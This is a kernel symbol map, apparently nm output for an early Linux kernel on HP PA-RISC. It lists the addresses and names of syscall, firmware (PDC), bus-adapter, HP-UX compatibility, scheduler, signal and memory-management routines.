10106f64 t syscall_check_resched
10106f6c t syscall_check_sig
10106f78 t syscall_restore
10107074 t syscall_restore_rfi
10107090 t try_tbit
10107098 t psw_setup
10107120 t pt_regs_ok
10107140 t syscall_do_softirq
10107150 t syscall_do_resched
10107160 t syscall_do_signal
101071fc t get_register
10107304 t set_register
10108000 T sys_pipe
10108054 T sys_pause
10108084 t do_mmap2
101080e8 t .L678
1010812c t .L681
10108170 t .L687
10108178 t .L688
10108194 T sys_mmap2
101081bc T sys_mmap
101081d8 t .L690
101081f8 T sys_shmat_wrapper
101081f8 t .L694
10108220 t f_extend
10108228 t convert_to_wide
1010822c T pdc_add_valid
10108260 T pdc_chassis_info
101082ec T pdc_coproc_cfg
1010836c T pdc_iodc_read
10108428 T pdc_system_map_find_mods
101084f4 T pdc_system_map_find_addrs
10108580 T pdc_model_info
10108608 T pdc_model_sysmodel
10108690 T pdc_model_versions
10108700 T pdc_model_cpuid
10108770 T pdc_model_capabilities
101087e0 T pdc_cache_info
10108854 T pdc_mem_map_hpa
101088dc T pdc_lan_station_id
10108960 t .L90
10108988 t .L92
1010898c T pdc_pci_irt_size
101089fc T pdc_pci_irt
10108a50 T pdc_tod_read
10108ac4 T pdc_tod_set
10108b00 T pdc_do_firm_test_reset
10108b40 T pdc_do_reset
10108b70 T pdc_iodc_putc
10108c88 T pdc_sti_call
10108cb0 t real32_call
10108d90 T sys_ptrace
10108e48 t .L657
101090e4 t .L754
101090f4 t .L819
10109194 t .L820
101093e4 t .L821
10109478 T syscall_trace
101094ec T parisc_getHWtype
10109510 T parisc_getHWdescription
1010956c T parisc_get_cpu_type
101095c8 T parisc_get_reference
10109620 T setup_pdc
10109708 t set_pmem_entry
1010973c T do_pagezero_memconfig
1010977c t check_if_715old
101097a4 T do_legacy_inventory
101097fc t .L688
1010997c t .L693
10109990 t .L711
101099a8 t .L771
101099e8 t .L720
10109a14 t .L772
10109a30 t .L773
10109a98 t .L774
10109abc t .L775
10109ac4 t do_native_bus_walk
10109b24 t do_system_map_inventory
10109c54 t .L795
10109c74 t .L807
10109c78 T do_memory_inventory
10109c98 t .L809
10109cd4 t .L808
10109cf0 t .L820
10109cf8 t .L821
10109d00 T do_device_inventory
10109d2c t .L823
10109d54 t .L832
10109d5c t .L833
10109d74 t compare_spec
10109e08 T register_driver
10109eec t .L662
10109f64 t .L676
10109f6c T unregister_driver
1010a010 t .L680
1010a058 t .L704
1010a064 T add_pa_dev_addr
1010a0d4 T alloc_pa_dev
1010a234 T register_pa_dev
1010a2c0 T get_pa_dev
1010a2ec T print_pa_devices
1010a44c T __up
1010a480 T __down
1010a5c8 T __down_interruptible
1010a71c T down_read_failed
1010a810 T down_write_failed
1010a938 T up_read_wakeup
1010a968 T up_write_wakeup
1010a998 t diag_read
1010a9a0 t cpu_hpa
1010a9a8 t pa7300lc_lpmc
1010aa98 T pa7300lc_init
1010aaac t pa11_dma_supported
1010aab4 t unmap_uncached_pages
1010ac30 t .L840
1010ac48 T pcxl_alloc_range
1010ac48 t .L847
1010aeb8 t pcxl_free_range
1010afb4 t pa11_dma_alloc_consistent
1010b0c4 t .L950
1010b1f4 t .L967
1010b1f8 t pa11_dma_free_consistent
1010b27c t pa11_dma_map_single
1010b2a0 t .L973
1010b308 t .L978
1010b344 t pa11_dma_unmap_single
1010b370 t .L980
1010b3e0 t .L986
1010b41c t pa11_dma_map_sg
1010b43c t .L988
1010b4b8 t .L998
1010b4b8 t pa11_dma_unmap_sg
1010b4d8 t .L1000
1010b538 t .L1011
1010b538 t pa11_dma_sync_single
1010b564 t .L1013
1010b590 t .L1016
1010b590 t pa11_dma_sync_sg
1010b5e4 t fail_alloc_consistent
1010b5ec t fail_free_consistent
1010b5f0 t pcxl_proc_info
1010b73c t .L1032
1010b7a4 T copy_siginfo_to_user
1010b7a4 t .L1038
1010b85c t .L709
1010b99c T sys_rt_sigsuspend
1010b99c t .L907
1010baa4 t restore_sigcontext
1010bb68 T sys_rt_sigreturn
1010bcb0 t setup_sigcontext
1010be78 t setup_rt_frame
1010c238 t handle_signal
1010c31c T do_signal
1010c378 t .L1437
1010c618 t .L1486
1010c620 t .L1578
1010c62c t .L1579
1010c634 t .L1499
1010c660 t .L1580
1010c720 t .L1581
1010c778 T os_hpmc
1010c7c4 t os_hpmc_1
1010c7f4 t os_hpmc_2
1010c818 t os_hpmc_3
1010c858 t os_hpmc_4
1010c8a0 t os_hpmc_5
1010c8e8 t os_hpmc_fail
1010c8fc t os_hpmc_6
1010c910 T os_hpmc_end
1010c980 T real32_call_asm
1010c9c8 t ric_ret
1010c9f0 t save_control_regs
1010ca48 t restore_control_regs
1010cb00 t rfi_virt2real
1010cb74 t rfi_v2r_1
1010cc00 t rfi_real2virt
1010cc74 t rfi_r2v_1
1010cd00 T inb
1010cd58 t .L39
1010cd70 t .L41
1010cd74 T inw
1010cdcc t .L44
1010cde4 t .L46
1010cde8 T inl
1010ce40 t .L49
1010ce58 t .L51
1010ce5c T outb
1010cea4 T outw
1010ceec T outl
1010cf30 T pcibios_init
1010cf60 t .L56
1010cf74 T pcibios_fixup_bus
1010cf74 t .L59
1010cf98 t .L62
1010cfb4 T pcibios_setup
1010cfb4 t .L63
1010cfbc T pcibios_update_irq
1010cfc0 T pcibios_update_resource
1010d014 t .L66
1010d048 t .L77
1010d064 T pcibios_set_master
1010d0bc t pcibios_link_hba_resources
1010d110 T pcibios_fixup_pbus_ranges
1010d158 T pcibios_align_resource
1010d198 T pcibios_enable_device
1010d258 T pcibios_register_hba
1010d298 t def_setkeycode
1010d2a0 t def_getkeycode
1010d2a8 t def_translate
1010d2b4 t def_unexpected_up
1010d2bc t def_leds
1010d2c0 t def_init_hw
1010d2c4 T register_kbd_ops
1010d350 t lba_dump_res
1010d3ec t lba_device_present
1010d42c t lba_rd_cfg
1010d614 t .L722
1010d758 t .L762
1010d758 t lba_cfg_read8
1010d874 t lba_cfg_read16
1010d9ac t lba_cfg_read32
1010dac8 t lba_wr_cfg
1010db24 t .L810
1010dc38 t .L829
1010dc80 t .L850
1010dce4 t .L873
1010dd08 t .L874
1010dd20 t .L875
1010dd44 t .L876
1010dd6c t .L877
1010dd70 t lba_cfg_write8
1010de50 t .L891
1010de80 t .L894
1010de94 t lba_cfg_write16
1010df84 t .L912
1010dfb4 t .L915
1010dfc8 t lba_cfg_write32
1010e0ac t .L933
1010e0dc t .L936
1010e0f0 t lba_bios_init
1010e0f4 t lba_fixup_bus
1010e25c t .L940
1010e27c t .L942
1010e2ac t .L965
1010e2d0 t .L966
1010e2d0 t lba_astro_in8
1010e2f8 t lba_astro_in16
1010e32c t lba_astro_in32
1010e360 t lba_astro_out8
1010e3ac t lba_astro_out16
1010e404 t lba_astro_out32
1010e458 t lba_legacy_resources
1010e5c0 t lba_hw_init
1010e654 t lba_common_init
1010e6ac T lba_init_iregs
1010e72c t irt_find_irqline
1010e80c t iosapic_xlate_pin
1010e8cc t iosapic_interrupt
1010e914 T iosapic_fixup_irq
1010ea90 t iosapic_rd_irt_entry
1010eb3c t iosapic_wr_irt_entry
1010ec10 t iosapic_set_irt_data
1010ec80 t iosapic_disable_irq
1010ece8 t iosapic_enable_irq
1010ed40 t iosapic_mask_irq
1010ed6c t iosapic_unmask_irq
1010ed98 t iosapic_rd_version
1010edd4 T iosapic_register
1010ef48 t .L808
1010ef6c t .L809
1010ef70 t sba_alloc_range
1010f26c t sba_dma_supported
1010f2c4 t sba_map_single
1010f43c t sba_unmap_single
1010f588 t sba_alloc_consistent
1010f624 t sba_free_consistent
1010f678 t sba_map_sg
1010f94c t sba_unmap_sg
1010fa14 t sba_get_pat_resources
1010fa18 t sba_ioc_init
1010fbf8 t sba_hw_init
1010fdb8 t sba_common_init
1010fefc t sba_proc_info
10110170 t sba_resource_map
101101d0 t .L973
10110238 T sba_driver_callback
10110238 t .L978
10110428 T sba_io_pdir_entry
10110500 t ccio_alloc_range
10110808 t ccio_free_range
10110988 T ccio_io_pdir_entry
101109ec t ccio_clear_io_tlb
10110a68 t ccio_mark_invalid
10110af0 t ccio_dma_supported
10110b48 t ccio_map_single
10110c5c t ccio_unmap_single
10110cf8 t ccio_alloc_consistent
10110d84 t ccio_free_consistent
10110dd8 t ccio_fill_pdir
10110f28 t ccio_coalesce_chunks
10111034 t dump_sg
101110a4 t ccio_map_sg
10111164 t ccio_unmap_sg
101111c4 t ccio_proc_info
10111524 t ccio_resource_map
101115ac t .L960
10111634 t .L970
10111634 t ccio_cujo20_hack
10111774 t ccio_ioc_init
10111a38 t ccio_driver_callback
10111c6c T superio_inform_irq
10111cc4 t superio_interrupt
10111d44 t .L675
10111d98 t .L685
10111dc4 t .L686
10111dc8 t superio_init
10112124 t superio_disable_irq
10112168 t .L699
101121a4 t .L704
101121a4 t superio_enable_irq
101121e8 t .L705
10112204 t .L709
10112228 t .L713
10112230 t .L714
10112230 t superio_mask_irq
1011225c t superio_unmask_irq
10112288 T superio_fixup_irq
101122e4 t .L729
10112374 t .L730
10112378 T superio_serial_init
101123ac t .L733
1011246c t .L731
10112494 t .L741
101124ac t .L742
101124bc t .L743
101124c4 T hpux_call_table
101124c4 t .L744
10113000 T hpux_gateway_page
10113084 t syscall_nosys
10114000 T end_hpux_gateway_page
10114000 T hpux_fork_wrapper
10114068 t fork_return
101140c4 t fork_exit
101140cc T hpux_child_return
101140d8 T hpux_execv_wrapper
101140dc T hpux_execve_wrapper
10114128 t exec_error
10114130 T hpux_pipe_wrapper
10114154 t pipe_exit
1011415c T hpux_syscall_exit
10114170 t no_error
10114178 T hpux_execve
10114208 t filldir
10114370 T hpux_getdents
101143f4 t .L793
10114430 t .L795
101144c0 t .L821
101144c8 T hpux_mount
101144c8 t .L822
101144d0 t cp_hpux_stat
10114694 T hpux_stat64
101146c0 t .L847
10114714 t .L850
10114728 T hpux_fstat64
101147bc T hpux_lstat64
101147e8 t .L865
1011483c t .L868
10114850 t hpux_ioctl_t
1011487c t .L589
10114898 t .L594
101148a0 t .L595
101148a4 T hpux_ioctl
101148c8 t .L597
101148dc t .L602
101148e4 t .L603
101148e8 T hpux_brk
10114904 T hpux_sbrk
1011490c T hpux_nice
10114914 T hpux_ptrace
1011491c T hpux_wait
10114940 T hpux_sysconf
10114960 t hpux_ustat
10114a10 t hpux_uname
10114b70 t .L709
10114ba8 t .L724
10114c08 T hpux_utssys
10114c78 t .L725
10114ca4 t .L781
10114ce4 t .L782
10114d00 t .L783
10114e54 T hpux_getdomainname
10114ee4 t .L790
10114f0c t .L793
10114f1c T hpux_pipe
10114f34 T scheduling_functions_start_here
10114f4c t reschedule_idle
10115018 t process_timeout
1011504c t .L742
10115094 T schedule_timeout
10115094 t .L744
1011512c t .L748
101151d0 t .L758
101151d4 T schedule_tail
101151f8 T schedule
10115234 t .L765
101153fc t .L817
10115458 t .L868
10115604 t .L869
10115608 T __wake_up
10115734 t .L935
101157b8 t .L939
101157cc t .L924
1011580c T __wake_up_sync
1011580c t .L940
101159a4 T interruptible_sleep_on
10115a28 T interruptible_sleep_on_timeout
10115ab4 T sleep_on
10115b38 T sleep_on_timeout
10115bc4 T scheduling_functions_end_here
10115bdc T sys_nice
10115c68 t setscheduler
10115e30 T sys_sched_setscheduler
10115e58 T sys_sched_setparam
10115e84 T sys_sched_getscheduler
10115ef0 T sys_sched_getparam
10115f94 T sys_sched_yield
10115fe0 T sys_sched_get_priority_max
10116014 T sys_sched_get_priority_min
10116048 T sys_sched_rr_get_interval
1011613c t show_task
101161a4 t .L1148
101161c4 t .L1151
10116208 t .L1158
1011621c t .L1160
10116234 t .L1162
1011624c t .L1164
10116270 t .L1171
10116280 t .L1172
10116290 t .L1173
101162a0 t .L1174
101162c4 t .L1175
101162d4 T render_sigset_t
101162d4 t .L1176
1011639c T show_state
10116410 T daemonize
101164b4 T wake_up_process
101164e8 t .L730
10116530 T request_dma
10116530 t .L1234
10116538 T free_dma
10116540 T get_dma_list
10116568 T add_wait_queue
10116594 T add_wait_queue_exclusive
101165c4 T remove_wait_queue
101165e4 t get_pid
10116740 t mm_init
101167fc T mm_alloc
10116844 T mmput
10116874 t .L802
101168c0 T mm_release
101168c0 t .L808
10116904 t .L813
1011691c t .L815
10116920 t copy_mm
10116a2c t .L826
10116ab0 t .L842
10116af0 t .L848
10116b60 t .L868
10116b90 t .L869
10116cbc T copy_fs_struct
10116cbc t .L870
10116d48 t .L900
10116da0 t .L906
10116e00 t .L913
10116e50 t .L919
10116e74 t .L920
10116e8c t .L921
10116e8c t count_open_files
10116eb4 t copy_files
10116f14 t .L960
10116ff4 t .L987
1011714c T do_fork
10117464 t .L1027
10117548 t .L1086
1011755c t .L1108
10117584 t .L1056
10117590 t .L1109
101175b0 t .L1103
101175bc t .L1064
101175c8 t .L1110
101175e4 t .L1111
101177a8 t .L1112
10117820 t .L1039
10117878 t .L1045
101178d8 t .L1052
10117920 t .L1113
10117944 t .L1114
1011795c t .L1115
10117978 T __mmdrop
101179a4 t .L799
101179e0 t .L1128
101179e0 t no_lcall7
10117a58 t .L641
10117a74 t .L651
10117a74 t lookup_exec_domain
10117ae4 T register_exec_domain
10117b34 T unregister_exec_domain
10117b74 T __set_personality
10117c60 T sys_personality
10117cb8 T get_exec_domain_list
10117d6c T panic
10117dd4 t .L617
10117e8c t .L632
10117ea0 t .L642
10117ebc t .L643
10117ec4 T do_syslog
10117fac t .L677
101180a4 t .L680
101180cc t .L849
101180e4 t .L850
10118300 T sys_syslog
10118358 T printk
101185d4 T console_print
10118664 T unblank_console
101186cc T register_console
10118a28 T unregister_console
10118aa0 T tty_write_message
10118af8 T inter_module_register
10118b90 t .L717
10118c04 t .L729
10118c24 T inter_module_unregister
10118c84 t .L730
10118cc4 t .L745
10118ce0 t .L746
10118ce4 T inter_module_get
10118d58 T inter_module_get_request
10118d70 t .L758
10118d84 T inter_module_put
10118d84 t .L761
10118e3c T sys_create_module
10118e44 T sys_init_module
10118e4c T sys_delete_module
10118e54 T sys_query_module
10118e60 T sys_get_kernel_syms
10118e68 T try_inc_mod_count
10118e70 t release_task
10118fd4 t .L690
10119000 T session_of_pgrp
10119000 t .L691
10119068 t will_become_orphaned_pgrp
101190dc T is_orphaned_pgrp
101190f8 T put_files_struct
1011912c t .L752
10119214 t .L768
1011921c T exit_files
10119248 T put_fs_struct
10119270 t .L785
101192b0 t .L786
101192e4 t .L788
10119324 t .L790
10119338 t .L797
10119350 t .L798
10119368 t .L799
10119380 T exit_fs
10119380 t .L800
101193b0 t .L812
101193f0 t .L814
10119424 t .L816
10119464 t .L818
10119478 t .L825
10119490 t .L826
101194a8 t .L827
101194c0 T start_lazy_tlb
101194c0 t .L828
101194f0 T end_lazy_tlb
10119538 t .L839
1011958c t .L844
101195a4 t .L848
101195bc T exit_mm
101195bc t .L849
10119634 t exit_notify
10119694 t .L864
101196bc t .L868
1011975c t .L904
10119820 t .L936
101198a8 t .L937
101198d4 t .L938
101198dc T do_exit
10119954 t .L944
101199e0 t .L951
10119aa4 t .L974
10119ad8 t .L953
10119b0c t .L955
10119b4c t .L957
10119b5c t .L975
10119b6c t .L976
10119b7c t .L977
10119b8c t .L978
10119bb0 T up_and_exit
10119bdc t .L982
10119bf0 t .L984
10119bf4 T sys_exit
10119c04 T sys_wait4
10119cbc t .L990
10119d0c t .L1040
10119d38 t .L1107
10119eac t .L1108
10119fbc T sys_waitpid
10119fd8 t tvtojiffies
1011a01c t jiffiestotv
1011a060 T do_getitimer
1011a110 T sys_getitimer
1011a170 T it_real_fn
1011a1c0 T do_setitimer
1011a2c8 T sys_setitimer
1011a398 T sys_sysinfo
1011a504 t do_normal_gettime
1011a520 T get_fast_time
1011a544 T sys_time
1011a584 T sys_stime
1011a638 T sys_gettimeofday
1011a6bc T do_sys_settimeofday
1011a778 T sys_settimeofday
1011a7b8 t .L719
1011a814 T do_adjtimex
1011a814 t .L729
1011add4 T sys_adjtimex
1011ae48 T do_softirq
1011af24 T open_softirq
1011af74 t tasklet_action
1011b024 t tasklet_hi_action
1011b0d4 T tasklet_init
1011b0f4 T tasklet_kill
1011b1c0 t bh_action
1011b268 T init_bh
1011b27c T remove_bh
1011b2bc T __run_task_queue
1011b348 t do_resource_list
1011b418 T get_resource_list
1011b468 t __request_resource
1011b4c4 t __release_resource
1011b504 T request_resource
1011b52c T release_resource
1011b544 T check_resource
1011b574 t .L691
1011b598 t .L695
1011b598 t find_resource
1011b6c8 T allocate_resource
1011b73c T __request_region
1011b7f4 T __check_region
1011b838 T __release_region
1011b888 t .L727
1011b8ac t .L740
1011b8b0 T do_sysctl
1011b9f4 T sys_sysctl
1011ba18 t .L826
1011ba4c t .L831
1011ba4c t test_perm
1011bab0 t parse_table
1011bc1c T do_sysctl_strategy
1011bdd8 T register_sysctl_table
1011be78 T unregister_sysctl_table
1011bebc t register_proc_table
1011bf48 t .L951
1011bffc t .L976
1011c000 t unregister_proc_table
1011c068 t .L980
1011c0b4 t .L995
1011c0bc t .L996
1011c0c0 t do_rw_proc
1011c190 t proc_readsys
1011c1c4 t proc_writesys
1011c1f8 t proc_sys_permission
1011c214 T proc_dostring
1011c420 t proc_doutsstring
1011c4b4 t .L1085
1011c520 t .L1090
1011c530 t do_proc_dointvec
1011c964 T proc_dointvec
1011c990 T proc_dointvec_bset
1011c9f8 T proc_dointvec_minmax
1011cdc8 t do_proc_doulongvec_minmax
1011d1f4 T proc_doulongvec_minmax
1011d220 T proc_doulongvec_ms_jiffies_minmax
1011d250 T proc_dointvec_jiffies
1011d27c T sysctl_string
1011d410 T sysctl_intvec
1011d4f0 T sysctl_jiffies
1011d630 T sys_acct
1011d638 T sys_capget
1011d770 t cap_set_pg
1011d7bc t cap_set_all
1011d810 T sys_capset
1011d978 t .L846
1011d9e0 t .L860
1011d9f4 t .L861
1011da1c t access_one_page
1011db94 t .L758
1011dbc8 t .L769
1011dc10 t .L789
1011dc58 t .L761
1011dc7c t .L790
1011dc84 t .L791
1011dc8c t .L792
1011dca8 t .L793
1011dccc t access_mm
1011ddb8 T access_process_vm
1011de1c t .L815
1011de6c t .L818
1011dea8 t .L821
1011deb4 t .L822
1011debc T ptrace_readdata
1011df7c T ptrace_writedata
1011e04c T init_timervecs
1011e0d8 T add_timer
1011e23c T mod_timer
1011e32c T del_timer
1011e35c T tqueue_bh
1011e38c T immediate_bh
1011e3bc t second_overflow
1011e454 t .L805
1011e658 t .L846
1011e684 t update_wall_time_one_tick
1011e770 t update_wall_time
1011e7d8 T update_one_process
1011e868 t .L876
1011e894 t .L878
1011e8ac t .L880
1011e8d8 t .L884
1011e8ec t .L885
1011e8fc T update_process_times
1011e8fc t .L886
1011e9ec t count_active_tasks
1011ea34 T timer_bh
1011ed80 T do_timer
1011ee94 T sys_alarm
1011eed8 T sys_getpid
1011eee8 T sys_getppid
1011eefc T sys_getuid
1011ef0c T sys_geteuid
1011ef1c T sys_getgid
1011ef2c T sys_getegid
1011ef3c T sys_nanosleep
1011f10c T free_uid
1011f138 t .L653
1011f168 T alloc_uid
1011f168 t .L658
1011f1cc t .L665
1011f274 t .L677
1011f298 t next_signal
1011f2f0 t flush_sigqueue
1011f370 T flush_signals
1011f394 T exit_sighand
1011f3d0 t .L687
1011f3f8 T flush_signal_handlers
1011f3f8 t .L693
1011f430 T block_all_signals
1011f450 T unblock_all_signals
1011f49c t collect_signal
1011f588 t .L737
1011f618 t .L754
1011f620 T dequeue_signal
1011f6f8 t rm_from_queue
1011f7e4 t rm_sig_from_queue
1011f800 T bad_signal
1011f8a4 t signal_type
1011f950 t ignored_signal
1011f9b0 t handle_stop_signal
1011fa78 t .L851
1011faac t .L848
1011fac0 t .L882
1011facc t .L883
1011facc t send_signal
1011fb74 t .L898
1011fbc8 t .L904
1011fc44 t deliver_signal
1011fc80 t .L908
1011fcc4 T send_sig_info
1011fcc4 t .L915
1011fd00 t .L918
1011fd7c t .L936
1011fdbc T force_sig_info
1011fe6c T kill_pg_info
1011ff14 T kill_sl_info
1011ffc4 t kill_something_info
10120038 t .L985
10120064 t .L1017
101200e4 T send_sig
101200e4 t .L1018
10120110 T force_sig
10120130 T kill_pg
10120160 T kill_sl
10120190 T kill_proc
101201e8 t wake_up_parent
1012022c T do_notify_parent
101202f4 T notify_parent
1012030c T sys_rt_sigprocmask
101204c0 T do_sigpending
10120524 T sys_rt_sigpending
1012053c T sys_rt_sigtimedwait
101207c8 T sys_kill
10120814 T sys_rt_sigqueueinfo
10120848 t .L1161
101208ac T do_sigaction
101208ac t .L1172
101209d4 T do_sigaltstack
10120b10 T sys_sigpending
10120b2c T sys_sigprocmask
10120c80 T sys_rt_sigaction
10120d5c T sys_sgetmask
10120d6c T sys_ssetmask
10120dbc T sys_signal
10120dfc T kill_proc_info
10120e4c T notifier_chain_register
10120e90 T notifier_chain_unregister
10120ec4 T notifier_call_chain
10120f40 T register_reboot_notifier
10120f64 T unregister_reboot_notifier
10120f88 T sys_ni_syscall
10120f90 t proc_sel
10121020 T sys_setpriority
10121160 T sys_getpriority
101211f4 T sys_reboot
101213d8 T ctrl_alt_del
1012140c t .L766
10121428 T sys_setregid
10121428 t .L767
1012150c T sys_setgid
10121588 t set_user
10121604 T sys_setreuid
101217d4 T sys_setuid
10121920 T sys_setresuid
10121adc T sys_getresuid
10121b5c T sys_setresgid
10121c30 T sys_getresgid
10121cb0 T sys_setfsuid
10121d64 T sys_setfsgid
10121dcc T sys_times
10121e1c T sys_setpgid
10121f0c T sys_getpgid
10121f58 T sys_getpgrp
10121f68 T sys_getsid
10121fb4 T sys_setsid
10122020 T sys_getgroups
1012207c T sys_setgroups
101220fc t supplemental_group_member
10122134 T in_group_p
10122168 T in_egroup_p
1012219c T sys_newuname
101221fc t .L1382
10122218 t .L1385
10122228 T sys_sethostname
10122308 T sys_gethostname
10122394 t .L1402
101223b8 t .L1405
101223c8 T sys_setdomainname
101224a8 T sys_getrlimit
101224fc T sys_old_getrlimit
10122584 T sys_setrlimit
10122664 T getrusage
101228b8 T sys_getrusage
101228f8 T sys_umask
10122924 T sys_prctl
10122a34 T exec_usermodehelper
10122ac8 t .L652
10122b18 t .L658
10122b78 t .L665
10122bc8 t .L667
10122c04 t .L673
10122c54 t .L675
10122c94 t .L677
10122cc4 t .L679
10122cf4 t .L681
10122e8c t .L719
10122ea4 t .L720
10122ebc t .L721
10122ed4 t .L722
10122eec t .L723
10122f04 t .L724
10122f1c t .L725
10122f34 t .L726
10122f4c t .L727
10122f4c t ____call_usermodehelper
10122f8c t __call_usermodehelper
10122fd0 t .L734
10122fe8 t .L737
10122ff0 T call_usermodehelper
10123144 t .L744
10123158 T dev_probe_lock
10123158 t .L746
10123180 t .L749
10123198 T dev_probe_unlock
10123198 t .L750
101231c0 t .L753
101231d8 t .L755
101231dc t need_keventd
1012321c T current_is_keventd
10123260 T schedule_task
101232f4 t context_thread
101234a0 T flush_scheduled_tasks
1012356c T start_context_thread
10123598 T check_pgt_cache
101235c0 T clear_page_tables
1012363c t .L784
10123694 T copy_page_range
10123694 t .L789
10123820 t .L828
101238a4 t .L847
101238c0 T zap_page_range
10123aec t .L936
10123b2c t .L941
10123b48 t .L952
10123b5c t .L953
10123b60 t follow_page
10123bc0 T map_user_kiobuf
10123ca4 t .L965
10123d54 t .L1002
10123d74 t .L1012
10123e38 t .L997
10123e68 t .L1000
10123e80 t .L1013
10123ebc t .L1014
10123ef4 T unmap_kiobuf
10123ef4 t .L1015
10123f60 t .L1028
10123fc8 T lock_kiovec
10123fc8 t .L1036
101240e0 T unlock_kiovec
10124174 t .L1085
101241e0 T zeromap_page_range
101241e0 t .L1096
10124274 t .L1143
101242dc t .L1162
101243bc t .L1171
10124548 t .L1176
10124554 t .L1200
1012455c t .L1201
10124570 t .L1202
10124594 t .L1203
101245a8 t .L1146
101245c0 t .L1204
101245c8 t .L1205
101245d0 t .L1206
101245ec t .L1207
101245f0 T remap_page_range
10124694 t .L1258
10124708 t .L1277
101247f8 t .L1288
10124988 t .L1293
10124994 t .L1318
1012499c t .L1319
101249b0 t .L1320
101249d4 t .L1321
101249ec t .L1261
10124a04 t .L1322
10124a0c t .L1323
10124a14 t .L1324
10124a30 t .L1325
10124a34 t do_wp_page
10124ad4 t .L1392
10124af8 t .L1412
10124b04 t .L1424
10124b8c t .L1401
10124bc0 t .L1405
10124c28 t .L1427
10124c40 t .L1408
10124c64 t .L1428
10124c6c t .L1429
10124c74 t .L1430
10124c8c t .L1431
10124ca4 t .L1432
10124d04 t .L1364
10124d24 t .L1433
10124d3c t .L1434
10124d60 t .L1373
10124db4 t .L1379
10124de4 t .L1435
10124dfc t .L1382
10124e20 t .L1436
10124e28 t .L1437
10124e30 t .L1438
10124e48 t .L1439
10124e60 t .L1440
10124eb4 t vmtruncate_list
10124f2c t .L1447
10125004 t .L1450
10125018 t .L1483
10125020 t .L1484
10125028 t .L1485
10125040 t .L1486
10125084 t .L1462
10125120 t .L1465
10125134 t .L1487
1012513c t .L1488
10125144 t .L1489
10125160 t .L1490
10125164 T vmtruncate
10125218 t .L1491
10125288 t .L1518
101252a4 t .L1502
101252f4 T swapin_readahead
101252f4 t .L1519
1012545c t do_swap_page
10125540 t .L1554
101255b4 t .L1565
1012561c t do_anonymous_page
10125750 t do_no_page
10125830 t .L1576
1012588c t .L1593
10125890 T handle_mm_fault
101259e8 T make_pages_present
10125a94 T vm_enough_memory
10125afc T lock_vma_mappings
10125b00 T unlock_vma_mappings
10125b04 T sys_brk
10125b50 t .L797
10125bac t .L812
10125be4 t .L824
10125c64 T do_mmap_pgoff
10125c64 t .L825
10125eb0 t .L871
10125fa8 t .L890
10125fe8 t .L916
1012605c t .L893
10126074 t .L917
1012607c t .L918
10126084 t .L919
101260a0 t .L920
1012625c T get_shared_area
1012630c T get_unmapped_area
101263a0 t avl_rebalance
10126514 t avl_remove
101265ec T find_vma
10126684 T find_vma_prev
1012673c T find_extend_vma
10126838 t unmap_fixup
1012695c t .L1083
10126970 t .L1093
101269b4 t .L1095
101269c0 t .L1096
10126a0c t .L1097
10126a10 t free_pgtables
10126ab4 T do_munmap
10126d18 t .L1145
10126e34 t .L1148
10126e4c t .L1175
10126e54 t .L1176
10126e5c t .L1177
10126e78 t .L1178
10126e84 T sys_munmap
10126ec8 t .L1182
10126ef8 t .L1184
10126f20 t .L1186
10126f28 T do_brk
10126f28 t .L1187
101270d8 T build_mmap_avl
10127184 T exit_mmap
10127294 t .L1236
10127328 t .L1239
1012733c t .L1250
10127344 t .L1251
1012734c t .L1252
10127364 t .L1253
10127368 T __insert_vm_struct
10127444 t .L1269
101274d8 t .L1283
1012752c T insert_vm_struct
1012756c t add_page_to_hash_queue
101275ec T __remove_inode_page
10127688 T remove_inode_page
101276b0 t .L858
101276cc T __set_page_dirty
101276cc t .L864
10127718 t .L869
1012772c T invalidate_inode_pages
1012772c t .L871
1012776c t .L873
10127808 t .L887
10127838 t .L898
10127840 t .L899
10127840 t truncate_list_pages
101278c4 t .L920
10127998 t .L937
101279b8 t .L949
101279d0 t .L950
10127a1c T truncate_inode_pages
10127acc t writeout_one_page
10127b40 t waitfor_one_page
10127bcc t do_buffer_fdatasync
10127c8c t .L1000
10127d00 T generic_buffer_fdatasync
10127d00 t .L1009
10127dec T filemap_fdatasync
10127eb8 t .L1023
10127f28 t .L1029
10127f48 t .L1038
10127f50 T filemap_fdatawait
10127f50 t .L1039
10127ff4 T add_to_page_cache_locked
1012802c t .L1054
101280d8 T add_to_page_cache
101280d8 t .L1061
101281e8 t add_to_page_cache_unique
10128340 t read_cluster_nonblocking
10128484 t .L1117
1012854c t .L1129
10128550 T ___wait_on_page
10128640 t __lock_page
10128688 t .L1147
10128730 t .L1162
10128734 T lock_page
10128778 T __find_get_page
10128820 T __find_lock_page
10128840 t .L1180
10128914 t .L1197
10128940 t .L1204
10128958 t .L1205
10128978 t drop_behind
10128acc t generic_file_readahead
10128c78 t .L1258
10128c90 t .L1264
10128d30 t .L1280
10128da0 t .L1281
10128e40 T do_generic_file_read
10128f58 t .L1294
1012907c t .L1316
101290e8 t .L1295
101291e0 t .L1340
10129200 t .L1392
10129218 t .L1393
1012924c t .L1394
101292bc t .L1329
101292e8 t .L1395
10129300 t .L1396
10129318 t .L1397
101294a0 t file_read_actor
10129520 T generic_file_read
10129578 t file_send_actor
10129628 T sys_sendfile
101296d0 t .L1421
10129788 t .L1487
10129898 t nopage_sequential_readahead
10129a44 T filemap_nopage
10129aac t .L1509
10129c18 t .L1529
10129ce4 t .L1620
10129d78 t .L1589
10129e1c t .L1621
10129ecc t .L1622
10129f30 t .L1623
10129f54 t .L1552
10129f80 t .L1624
10129f98 T filemap_sync
10129f98 t .L1625
1012a024 t .L1675
1012a298 t .L1698
1012a2c8 t .L1721
1012a2e0 t .L1678
1012a2f8 t .L1722
1012a300 t .L1723
1012a308 t .L1724
1012a324 t .L1725
1012a328 T generic_file_mmap
1012a3d8 t msync_interval
1012a468 t .L1739
1012a4b8 t .L1742
1012a4d0 t .L1746
1012a4d8 t .L1747
1012a4e0 T sys_msync
1012a534 t .L1751
1012a560 t .L1769
1012a594 t .L1774
1012a658 t .L1775
1012a658 t madvise_fixup_start
1012a77c t madvise_fixup_end
1012a8a0 t madvise_fixup_middle
1012aa78 t madvise_behavior
1012aac0 t .L1832
1012aae0 t .L1833
1012aaf4 t .L1834
1012ab28 t madvise_willneed
1012ace4 t .L1861
1012adac t .L1875
1012ae34 t madvise_dontneed
1012aeac t .L1879
1012af64 t .L1882
1012af7c t .L1896
1012af84 t .L1897
1012af8c t .L1898
1012afa8 t .L1899
1012afac t madvise_vma
1012aff4 t .L1901
1012b008 t .L1914
1012b010 T sys_madvise
1012b010 t .L1915
1012b068 t .L1919
1012b094 t .L1936
1012b0c8 t .L1941
1012b178 t .L1942
